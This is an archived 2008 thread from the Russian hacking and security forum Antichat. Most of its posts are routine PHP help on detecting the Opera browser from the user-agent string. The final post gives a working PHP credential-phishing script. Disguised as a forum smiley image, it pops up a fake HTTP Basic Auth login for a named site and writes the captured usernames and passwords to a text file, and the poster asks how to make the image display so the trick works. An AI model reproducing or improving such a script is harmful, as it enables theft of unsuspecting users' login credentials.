ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > Программирование_OLD > PHP, PERL, MySQL, JavaScript
   
 
 
Опции темы Поиск в этой теме Опции просмотра

  #2861  
Старый 23.04.2008, 08:32
krypt3r
Познавший АНТИЧАТ
Регистрация: 27.04.2007
Сообщений: 1,044
Провел на форуме:
3660186

Репутация: 905


По умолчанию

$_SERVER['HTTP_USER_AGENT'] - большими буквами. Или через get_browser()

Последний раз редактировалось krypt3r; 23.04.2008 в 08:49..
 

  #2862  
Старый 23.04.2008, 09:07
Хелпер
Участник форума
Регистрация: 21.02.2007
Сообщений: 171
Провел на форуме:
849260

Репутация: 32
По умолчанию

Пасибо.
И еще вопрос.
PHP код:
<?php
$x
$_SERVER['HTTP_USER_AGENT'];
switch (
$x)
{
case (
'Opera/9.25 (Windows NT 5.1; U; ru)');
echo 
Опера;
}
Если версия оперы 9,25 то все гуд, но если опера 9,27 или другая, то не выполняется. Можно ли чтоб тока если есть слово Opera, уже выполнять действие?

Последний раз редактировалось Хелпер; 23.04.2008 в 09:09..
 

  #2863  
Старый 23.04.2008, 09:22
krypt3r
Познавший АНТИЧАТ
Регистрация: 27.04.2007
Сообщений: 1,044
Провел на форуме:
3660186

Репутация: 905


По умолчанию

Вариантов куча
PHP код:
  if (strstr ($SERVER['HTTP_USER_AGENT'], "Opera") !== FALSE)
    echo 
"Это опера"
Можно другими функциями - ereg, preg_match, stristr...
 

  #2864  
Старый 23.04.2008, 09:31
Корвин
Участник форума
Регистрация: 26.02.2007
Сообщений: 259
Провел на форуме:
302951

Репутация: 67
Отправить сообщение для Корвин с помощью ICQ
По умолчанию

Цитата:
Сообщение от Хелпер  
Пасибо.
И еще вопрос.
PHP код:
<?php
$x
$_SERVER['HTTP_USER_AGENT'];
switch (
$x)
{
case (
'Opera/9.25 (Windows NT 5.1; U; ru)');
echo 
Опера;
}
Если версия оперы 9,25 то все гуд, но если опера 9,27 или другая, то не выполняется. Можно ли чтоб тока если есть слово Opera, уже выполнять действие?
PHP код:
<?
$x 
$_SERVER['HTTP_USER_AGENT'];
$y 'Opera';
$check strpos($x$y);
if (
$check === false)
{
echo 
'Другой браузер<br>';
}
else 
{
echo 
'Опера';
}
?>
вот тут пофиг какая версия=)

и еще посмари переменную сервер много полезного увидишь)))

PHP код:
<?
echo '<pre>';
print_r ($_SERVER);
echo 
'</pre>';
?>
 

  #2865  
Старый 23.04.2008, 13:59
НTL
Постоянный
Регистрация: 26.01.2008
Сообщений: 796
Провел на форуме:
5209663

Репутация: 357


Отправить сообщение для НTL с помощью ICQ
По умолчанию

Как подменить адрес сайта?
например я на сайте 1.ru, а в адресной строчке написано 2.ru
 

  #2866  
Старый 23.04.2008, 14:02
159932
Постоянный
Регистрация: 28.09.2007
Сообщений: 820
Провел на форуме:
6722038

Репутация: 1385


По умолчанию

это к Php вообще не относится !
это происходит когда к серверу привязывается один или более доменов ..
 

  #2867  
Старый 23.04.2008, 14:03
НTL
Постоянный
Регистрация: 26.01.2008
Сообщений: 796
Провел на форуме:
5209663

Репутация: 357


Отправить сообщение для НTL с помощью ICQ
По умолчанию

А с помощью PhP это некак нельзя сделать?
 

  #2868  
Старый 23.04.2008, 14:11
159932
Постоянный
Регистрация: 28.09.2007
Сообщений: 820
Провел на форуме:
6722038

Репутация: 1385


По умолчанию

нет - потому что это никак не связано ...
 

  #2869  
Старый 23.04.2008, 18:45
НTL
Постоянный
Регистрация: 26.01.2008
Сообщений: 796
Провел на форуме:
5209663

Репутация: 357


Отправить сообщение для НTL с помощью ICQ
По умолчанию

А еще есть какие нибудь способов кроме таво?
 

  #2870  
Старый 23.04.2008, 21:06
fireball
Новичок
Регистрация: 21.04.2008
Сообщений: 4
Провел на форуме:
1977

Репутация: 0
По умолчанию

Возварщаясь к видео, с которого крали пароль, так вот там способ загнать пхп скрипт в картинку, тобишь сделать скрипт картинкой, и там такой скрипт
PHP код:
<?
//делаем скрипт картинкой
Header("Content-Type: image/gif");
//делаем изображение смайликом из архива
$image ImageCreateFromGif('mellow.gif');
 if(!
$_COOKIE['LOGON'])
{
 
$login $_SERVER['PHP_AUTH_USER'];
 
$pass  $_SERVER['PHP_AUTH_PW'];
 
//Авторизация пройдёт, если пароль больше 4-ёх символов и вообще написан логин
 
if(strlen($pass) <= || !$login)
 {
  
Header('HTTP/1.1 401 Unauthorized');
  
Header('WWW-Authenticate: Basic realm="ussr-clan-swat.ucoz.ru - login"');
 }
 elseif(
$login)
 {
  
//ставим кукис, чтобы при повторном заходе авторизации небыло, в самом начале проверка есть ли кукис ))
  
setcookie('LOGON',md5($pass));
  
//запишем пароли в файл
  
$f fopen('passwords.txt''ab'); //passwords.txt
  
fwrite($f$login." ||| ".$pass."\r\n"); //в формате LOGIN ||| PASSWORD
  
fclose($f);
 }
}
imagegif($image);
imagedestroy($image);
?>


Однако, при проверке через свой браузер(их 3) никакая картинка не была видна, пытался заливать на хостинге так смотрел и ничего.
Внимание вопрос: как сделать, чтобы она всё таки была видна как картинка, ато не очет действовать.\
Само видео basic-auth_vs_forums в античате лежит со скриптами в архиве.
 
 





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ